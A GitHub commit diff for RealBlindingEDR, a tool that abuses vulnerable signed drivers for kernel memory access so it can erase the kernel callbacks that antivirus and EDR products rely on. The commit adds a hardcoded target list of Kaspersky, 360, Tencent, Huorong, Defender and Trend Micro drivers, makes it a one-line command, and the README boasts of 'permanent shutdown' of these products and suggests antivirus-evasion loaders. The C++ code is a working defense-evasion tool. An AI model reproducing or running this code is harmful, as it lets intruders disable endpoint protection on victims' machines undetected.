Skip to content

Commit 9a66faa

Browse files
myzxcgmyzxcg
committed
Support blinding various EDR products
1 parent 29df646 commit 9a66faa

File tree

7 files changed

+89
-84
lines changed

7 files changed

+89
-84
lines changed

Diff for: ‎README.md

+19-28
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,12 @@ Utilize arbitrary address read/write implementation with signed driver: complete
66

77
If you want to understand the implementation principle, you can refer to the analysis article: [AV/EDR 完全致盲 - 清除6大内核回调实现（Chinese）](https://mp.weixin.qq.com/s/ZMTjDMMdQoOczxzZ7OAGtA)
88

9+
For immediate utilization, this update is released:
10+
11+
**Supports blinding/permanent shutdown: 360 Security Guard, 360 Enterprise Edition, Tianqing V10, Tencent Computer Manager, Tinder/Tinder Enterprise Edition, Kaspersky Enterprise Edition, AsiaInfo EDR, Windows Defender.**
12+
13+
**Note:** If you have other EDR products that need to be blinded, you can send me the installation package and I will implement it according to the situation.
14+
915
**Currently tested on 64-bit Windows 7/10/11 and Windows Server 2008R2/2012R2/2016/2019/2022. If you find a problem in a certain version, you can report it through issue and I will adapt it.**
1016

1117

@@ -40,36 +46,21 @@ This project is not targeted at any AV/EDR manufacturers. The code examples are
4046

4147
## Usage
4248

43-
1. Download the project code, open the `RealBlindingEDR.h` file, and configure the absolute path where the available driver is located.
49+
![](assets/17025384797366.jpg)
50+
51+
This project supports two driver applications: [dbutil_2_3.sys](https://www.loldrivers.io/drivers/a4eabc75-edf6-4b74-9a24-6a26187adabf/) (supports win7 and above versions, but the antivirus flag is relatively small More), [echo_driver.sys](https://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/) (supports win10 and above versions)
52+
53+
1. Use echo_driver.sys driver for blinding:
4454

45-
This project supports two driver applications: [dbutil_2_3.sys](https://www.loldrivers.io/drivers/a4eabc75-edf6-4b74-9a24-6a26187adabf/) 、[echo_driver.sys](https://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/)
55+
`RealBlindingEDR.exe c:\echo_driver.sys 1`
4656

47-
`#define DriverType 1` means using echo_driver.sys
48-
49-
`#define DriverType 2` means using dbutil_2_3.sys
50-
51-
`#define DrivePath "driver_fullpath"` is used to specify the path where the driver is located
52-
53-
The dbutil_2_3.sys driver supports win7 and above.
54-
55-
The echo_driver.sys driver supports win10 and above.
56-
57-
**Note:** Currently, these two drivers cannot be loaded on the latest version of Win11 [10.0.22621.2506] (certificate revoked, error: c0000603)
58-
59-
2. Compile the project and double-click to execute it on the computer with AV/EDR installed. (If the file is not immune to anti-virus, please write your own anti-virus shellcode loader, then convert it into shellcode and load it)
60-
3. After execution, you will see the following effect: (listing the names of all drivers that registered these callbacks)
61-
62-
![](assets/16984937060550.jpg)
63-
64-
4. It's not over yet. You need to open the `RealBlindingEDR.h` file again, find out the driver name of AV/EDR in the output result of step 3 (you can judge it through Google or search local files), and add it to `CONST CHAR* AVDriver[ ] = {}` in the array.
65-
66-
An example of configuring the Defender driver:
67-
![](assets/16984942671759.jpg)
68-
69-
**Note:** Be sure not to add the normal driver name of the Windows system to this array, otherwise it may cause the system to crash.
70-
5. Compile again and run it directly to automatically clear all the above callbacks of the specified driver (the name of the driver with deleted callbacks will be followed by a [Clear] flag).
71-
6. If you run it again, you will find that there are no AV/EDR names in these output callbacks.
72-
7. Do what you want.
57+
2. Use the dbutil_2_3.sys driver for blinding:
58+
59+
`RealBlindingEDR.exe c:\dbutil_2_3.sys 2`
60+
61+
**Note:** Currently, these two drivers cannot be loaded on the latest version of Win11 [10.0.22621.2506] (certificate revoked, Error: c0000603)
62+
63+
**Preview:** The third driver application will be released soon, supporting win7 - win11 (latest version).
7364

7465
## Effect
7566
The following demonstration content is not specific to this AV manufacturer, but is only for educational and research purposes. Most AV/EDR manufacturers are affected.

Diff for: ‎README.zh_CN.md

+22-30
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,15 @@
44

55
如果你想了解实现原理可以参考分析文章：[AV/EDR 完全致盲 - 清除6大内核回调实现](https://mp.weixin.qq.com/s/ZMTjDMMdQoOczxzZ7OAGtA) [欢迎关注此公众号]
66

7+
为了便于直接利用，发布此更新：
8+
9+
**支持致盲/永久关闭：360 安全卫士、360 企业版、天擎V10、腾讯电脑管家、火绒/火绒企业版、卡巴斯基企业版、亚信EDR、Windows Defender。**
10+
11+
**注：** 如果你有其他需要致盲的EDR产品可以发我安装包，我会根据情况实现。
12+
713
**当前已在64位的 Windows 7/10/11、Windows Server 2008R2/2012R2/2016/2019/2022 完成测试。如果你发现在某个版本有问题，可通过issue 反馈，我会进行适配。**
814

15+
916
## 简介
1017

1118
本项目实现了以下内核回调的清除：
@@ -35,38 +42,25 @@
3542

3643
本项目不针对任何AV/EDR 厂商，代码示例仅用于研究学习，不得进行恶意利用，如有恶意利用与本人无关。
3744

38-
## 使用方式
45+
## 使用方法
3946

40-
1. 下载项目代码，打开`RealBlindingEDR.h` 文件，配置可利用驱动所在的绝对路径。
41-
42-
本项目支持两种驱动利用：[dbutil_2_3.sys](https://www.loldrivers.io/drivers/a4eabc75-edf6-4b74-9a24-6a26187adabf/) 、[echo_driver.sys](https://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/)
43-
44-
`#define DriverType 1` 表示使用echo_driver.sys
45-
46-
`#define DriverType 2` 表示使用dbutil_2_3.sys
47-
48-
`#define DrivePath "driver_fullpath"` 用于指定驱动所在路径
49-
50-
dbutil_2_3.sys 驱动支持win7及以上版本。
51-
52-
echo_driver.sys 驱动支持win10及以上版本。
53-
54-
**注意：** 目前这两个驱动在最新版Win11[10.0.22621.2506]上都已无法加载（证书被吊销,Error：c0000603）
55-
56-
2. 编译项目并在安装有AV/EDR 的电脑上双击执行。(如果文件不免杀，请自行编写免杀的shellcode 加载器，然后将其转换成shellcode 后加载)
57-
3. 执行后你会看到下面的效果：（列出了注册这些回调的所有驱动名称）
58-
59-
![](assets/16984937060550.jpg)
47+
![](assets/17025384797366.jpg)
6048

61-
4. 别急，还没结束。你需要再次打开`RealBlindingEDR.h` 文件，找出第3步输出结果里是AV/EDR的驱动名称（你可以通过Google 或搜索本地文件来判断），并将其添加到`CONST CHAR* AVDriver[] = {}` 数组中。
49+
本项目支持两种驱动利用：[dbutil_2_3.sys](https://www.loldrivers.io/drivers/a4eabc75-edf6-4b74-9a24-6a26187adabf/)（支持win7及以上版本，但被杀软标记较多） 、[echo_driver.sys](https://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/)（支持win10及以上版本）
50+
51+
1. 使用echo_driver.sys 驱动进行致盲:
52+
53+
`RealBlindingEDR.exe c:\echo_driver.sys 1`
54+
55+
2. 使用dbutil_2_3.sys 驱动进行致盲:
56+
57+
`RealBlindingEDR.exe c:\dbutil_2_3.sys 2`
6258

63-
一个配置Defender 驱动的样例：
64-
![](assets/16984942671759.jpg)
59+
**注意：** 目前这两个驱动在最新版Win11[10.0.22621.2506]上都已无法加载（证书被吊销,Error：c0000603）
60+
61+
**预告：** 即将发布第三个驱动利用程序，支持win7 - win11（最新版）。
6562

66-
**注意：** 一定不要添加Windows系统正常的驱动名到此数组中，否则可能会导致系统崩溃。
67-
5. 再次编译并直接运行，就能自动清除指定驱动的上述所有回调（已删除回调的驱动，其名称后面会跟一个[Clear] 标志）。
68-
6. 如果你再一次运行，就会发现这些输出的回调中已经没有AV/EDR的名称了。
69-
7. 做你想做的。
63+
7064

7165
## 效果
7266
下面演示内容并不针对此AV 厂商，仅出于教育研究目的，绝大多数AV/EDR 厂商都能达到同样的效果。
@@ -94,8 +88,6 @@
9488

9589
## 致谢
9690

97-
***PS:*** 特别感谢我的领导能给我足够的时间去研究，最终才能有此项目。
98-
9991
感谢以下文章和项目，给我思路上的帮助。
10092
1. [OBREGISTERCALLBACKS AND COUNTERMEASURES](https://douggemhax.wordpress.com/2015/05/27/obregistercallbacks-and-countermeasures/)
10193
2. [Windows Anti-Debug techniques - OpenProcess filtering](https://blog.xpnsec.com/anti-debug-openprocess/)

Diff for: ‎RealBlindingEDR/RealBlindingEDR/RealBlindingEDR.cpp

+37-23
Original file line numberDiff line numberDiff line change
@@ -60,13 +60,19 @@ BOOL LoadDriver() {
6060
}
6161
else
6262
{
63-
printf("Error Code: % lx\n", errcode);
63+
if (errcode == 0xc0000603) {
64+
printf("The driver's certificate has been revoked, please wait for the project to be updated..\n");
65+
}
66+
else {
67+
printf("Error Code: % lx.\n", errcode);
68+
}
69+
6470
return FALSE;
6571
}
6672

6773
}
6874
else {
69-
printf("Reg Add Error!\n");
75+
printf("Reg Add Error, The program needs to be run with administrator privileges!\n");
7076
return FALSE;
7177
}
7278
}
@@ -99,8 +105,8 @@ VOID UnloadDrive() {
99105
}
100106
}
101107
BOOL InitialDriver() {
102-
//win7 加载此驱动崩溃，和后面代码逻辑无关
103-
if (DriverType == 1) {
108+
//win7 加载此驱动崩溃，和后面代码逻辑无关
109+
if (Driver_Type == 1) {
104110
hDevice = CreateFile(L"\\\\.\\EchoDrv", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
105111
if (hDevice == INVALID_HANDLE_VALUE) {
106112
if (LoadDriver()) {
@@ -132,7 +138,7 @@ BOOL InitialDriver() {
132138
}
133139
Process = param->handle;
134140
}
135-
else if (DriverType == 2) {
141+
else if (Driver_Type == 2) {
136142
hDevice = CreateFile(L"\\\\.\\DBUtil_2_3", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
137143
if (hDevice == INVALID_HANDLE_VALUE) {
138144
if (LoadDriver()) {
@@ -175,7 +181,7 @@ VOID DellWrite(VOID* Address, LONGLONG value) {
175181
//printf("%d\n", BytesRead);
176182
}
177183
VOID DriverWriteMemery(VOID* fromAddress, VOID* toAddress, size_t len) {
178-
if (DriverType == 1) {
184+
if (Driver_Type == 1) {
179185
ReadMem* req = (ReadMem*)malloc(sizeof(ReadMem));
180186
req->fromAddress = fromAddress;
181187
req->length = len;
@@ -188,7 +194,7 @@ VOID DriverWriteMemery(VOID* fromAddress, VOID* toAddress, size_t len) {
188194
CloseHandle(hDevice);
189195
}
190196
}
191-
else if (DriverType == 2) {
197+
else if (Driver_Type == 2) {
192198
if (len == 8) {
193199
INT64* InttoAddress = (INT64*)toAddress;
194200
INT64 dataAddr = DellRead(fromAddress);
@@ -417,10 +423,6 @@ VOID ClearThreeCallBack() {
417423
INT64 PspCreateThreadNotifyRoutineAddress = GetPspNotifyRoutineArray((CHAR*)"PsSetCreateThreadNotifyRoutine");
418424
INT64 PspLoadImageNotifyRoutineAddress = GetPspNotifyRoutineArray((CHAR*)"PsSetLoadImageNotifyRoutine");
419425

420-
//printf("PspCreateProcessNotifyRoutineAddress: %I64x\n", PspCreateProcessNotifyRoutineAddress);
421-
//printf("PspCreateThreadNotifyRoutineAddress: %I64x\n", PspCreateThreadNotifyRoutineAddress);
422-
//printf("PspLoadImageNotifyRoutineAddress: %I64x\n", PspLoadImageNotifyRoutineAddress);
423-
424426
if (PspCreateProcessNotifyRoutineAddress) {
425427
PrintAndClearCallBack(PspCreateProcessNotifyRoutineAddress, (CHAR*)"PsSetCreateProcessNotifyRoutine");
426428
}
@@ -528,7 +530,6 @@ VOID RemoveObRegisterCallbacks(INT64 PsProcessTypeAddr, INT flag) {
528530
DriverWriteMemery((VOID*)(Flink + 40), &EDRPreOperation, 8);
529531
INT64 EDRPostOperation = 0;
530532
DriverWriteMemery((VOID*)(Flink + 48), &EDRPostOperation, 8);
531-
//printf("%s: EDRPreOperation: %I64x , %s: EDRPostOperation: %I64x \n", GetDriverName(EDRPreOperation), EDRPreOperation, GetDriverName(EDRPostOperation), EDRPostOperation);
532533
CHAR* DriverName1 = GetDriverName(EDRPreOperation);
533534
if (DriverName1 != NULL) {
534535
if (IsEDR(DriverName1)) {
@@ -552,7 +553,7 @@ VOID RemoveObRegisterCallbacks(INT64 PsProcessTypeAddr, INT flag) {
552553
CHAR* DriverName2 = GetDriverName(EDRPostOperation);
553554
if (DriverName2 != NULL) {
554555
if (IsEDR(DriverName2)) {
555-
//清除回调
556+
//清除回调
556557
DriverWriteMemery(data, (VOID*)(Flink + 48), 8);
557558
if (flag == 1) {
558559
printf("Process PreOperation: %s [Clear]\n", DriverName2);
@@ -592,8 +593,6 @@ VOID ClearObRegisterCallbacks() {
592593
printf("----------------------------------------------------\n");
593594
printf("Drivers that register ObRegisterCallbacks callbacks: \n----------------------------------------------------\n\n");
594595

595-
/*printf("PsProcessTypeAddr: %I64x\n", PsProcessTypeAddr);
596-
printf("PsThreadTypeAddr: %I64x\n", PsThreadTypeAddr);*/
597596
RemoveObRegisterCallbacks(PsProcessTypeAddr, 1);
598597
RemoveObRegisterCallbacks(PsThreadTypeAddr, 2);
599598

@@ -626,7 +625,6 @@ VOID ClearCmRegisterCallback() {
626625
}
627626
printf("----------------------------------------------------\n");
628627
printf("Register the CmRegisterCallback callback driver: \n----------------------------------------------------\n\n[Clear all below]\n");
629-
//printf("CmUnRegisterCallbackAddr: %I64X\n", CmUnRegisterCallbackAddr);
630628
UINT64 PsOffset = 0;
631629

632630
BYTE tmp[1] = { 0 };
@@ -733,7 +731,6 @@ BOOL IsEDRIntance(INT j, INT64 Flink) {
733731
if (FilterName == NULL) return 0;
734732
printf("\t\t[%d] %s : %I64x [Clear]\n", j, FilterName, Flink - 0x10);//_CALLBACK_NODE
735733

736-
//printf("EDRIntance: %d\n", k);
737734
return Flag;
738735
}
739736
VOID RemoverInstanceCallback(INT64 FLT_FILTERAddr) {
@@ -760,7 +757,6 @@ VOID RemoverInstanceCallback(INT64 FLT_FILTERAddr) {
760757
DriverWriteMemery((VOID*)(FilterInstanceAddr), &tmpAddr, 8);
761758
FilterInstanceAddr = tmpAddr;
762759
} while (FirstLink != FilterInstanceAddr);
763-
//printf("\t\t%d\n",count);
764760
count--;
765761
INT i = 0;
766762
do {
@@ -828,7 +824,6 @@ VOID ClearMiniFilterCallback() {
828824
}
829825
count++;
830826
}
831-
//printf("%I64x\n", FltEnumerateFiltersAddr);
832827

833828
UINT64 PsOffset = 0;
834829

@@ -876,11 +871,9 @@ VOID ClearMiniFilterCallback() {
876871
INT64 FLT_VOLUMESAddr = 0;
877872
DriverWriteMemery((VOID*)(FLT_FRAMEAddr + 0x130), &FLT_VOLUMESAddr, 8);
878873

879-
//printf("FLT_VOLUMESAddr111 ,%I64x\n", FLT_VOLUMESAddr);
880874
ULONG FLT_VOLUMESCount = 0;
881875
DriverWriteMemery((VOID*)(FLT_FRAMEAddr + 0x140), &FLT_VOLUMESCount, 4);
882876

883-
//printf("FLT_VOLUMESCount %d\n", FLT_VOLUMESCount);
884877

885878
i = 0;
886879
do {
@@ -952,13 +945,34 @@ VOID ClearMiniFilterCallback() {
952945

953946
}
954947

955-
int main()
948+
int main(int argc, char* argv[])
956949
{
950+
printf(" _______ __ ______ __ _ __ _ ________ ______ _______ \n");
951+
printf("|_ __ \\ [ ||_ _ \\[ | (_) | ](_) |_ __ |_ _ `|_ __ \\ \n");
952+
printf(" | |__) | .---. ,--. | | | |_) || | __ _ .--. .--.| | __ _ .--. .--./)| |_ \\_| | | `. \\| |__) | \n");
953+
printf(" | __ / / /__\\`'_\\ : | | | __'.| |[ |[ `.-. / /'`\\' |[ |[ `.-. |/ /'`\\;| _| _ | | | || __ / \n");
954+
printf(" _| | \\ \\| \\__.// | |,| | _| |__) | | | | | | | | \\__/ | | | | | | |\\ \\._/_| |__/ |_| |_.' _| | \\ \\_ \n");
955+
printf("|____| |___'.__.\\'-;__[___|_______[___[___[___||__'.__.;__[___[___||__.',__|________|______.|____| |___| \n");
956+
printf(" ( ( __)) \n");
957+
if (argc != 3) {
958+
printf("Usage: RealBlindingEDR.exe [driver_path] [driver_type]\n\neg: RealBlindingEDR.exe c:\\echo_driver.sys 1\n");
959+
return 0;
960+
}
961+
DrivePath = argv[1];
962+
Driver_Type = atoi(argv[2]);
963+
957964
HINSTANCE hinst = LoadLibraryA("ntdll.dll");
958965
if (hinst == NULL) return FALSE;
959966
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
960967
proc(&dwMajor, &dwMinorVersion, &dwBuild);
961968
dwBuild &= 0xffff;
969+
if (dwMajor < 10 && Driver_Type == 1) {
970+
printf("[ERROR] This driver does not support the %d.%d.%d version.\n", dwMajor, dwMinorVersion, dwBuild);
971+
return 0;
972+
}
973+
else {
974+
printf("Windows version: %d.%d.%d version.\n", dwMajor, dwMinorVersion, dwBuild);
975+
}
962976
if (!InitialDriver()) return 0;
963977

964978
ClearThreeCallBack();
@@ -967,6 +981,6 @@ int main()
967981
ClearMiniFilterCallback();
968982

969983
UnloadDrive();
970-
system("pause");
984+
//system("pause");
971985
}
972986

Diff for: ‎RealBlindingEDR/RealBlindingEDR/RealBlindingEDR.h

+11-3
Original file line numberDiff line numberDiff line change
@@ -5,18 +5,26 @@
55
#pragma comment(lib,"ntdll.lib")
66

77
/*
8-
DriverType specifies different drivers
8+
Driver_Type specifies different drivers
99
1 -> echo_driver.sys driver, supports win10+
1010
2 -> dbutil_2_3.sys driver, supports Win7+ (may not be loaded in higher versions such as win11)
1111
*/
1212

13-
#define DriverType 1
13+
INT Driver_Type = 0;
1414

1515
//Specify the location of the driver
16-
#define DrivePath "C:\\ProgramData\\echo_driver.sys"
16+
CHAR* DrivePath = NULL;
1717

1818
//Set the driver name to be cleared
1919
CONST CHAR* AVDriver[] = {
20+
"klflt.sys","klhk.sys","klif.sys","klupd_KES-21-9_arkmon.sys","KLIF.KES-21-9.sys","klbackupflt.KES-21-9.sys",
21+
"QaxNfDrv.sys","QKBaseChain64.sys","QKNetFilter.sys","QKSecureIO.sys","QesEngEx.sys","QkHelp64.sys","qmnetmonw64.sys",
22+
"QMUdisk64_ev.sys","QQSysMonX64_EV.sys","TAOKernelEx64_ev.sys","TFsFltX64_ev.sys","TAOAcceleratorEx64_ev.sys","QQSysMonX64.sys","TFsFlt.sys",
23+
"sysdiag_win10.sys","sysdiag.sys",
24+
"360AvFlt.sys",
25+
"360qpesv64.sys","360AntiSteal64.sys","360AntiSteal.sys","360qpesv.sys","360FsFlt.sys","360Box64.sys","360netmon.sys","360AntiHacker64.sys","360Hvm64.sys","360qpesv64.sys","360AntiHijack64.sys","360AntiExploit64.sys","DsArk64.sys","360Sensor64.sys","DsArk.sys",
26+
"WdFilter.sys","MpKslDrv.sys","mpsdrv.sys","WdNisDrv.sys","win32k.sys",
27+
"TmPreFilter.sys","TmXPFlt.sys",
2028
NULL
2129
};
2230

Diff for: ‎assets/16984937060550.jpg

-361 KB
Binary file not shown.

Diff for: ‎assets/16984942671759.jpg

-31 KB
Binary file not shown.

Diff for: ‎assets/17025384797366.jpg

136 KB
Loading

0 commit comments

Comments
 (0)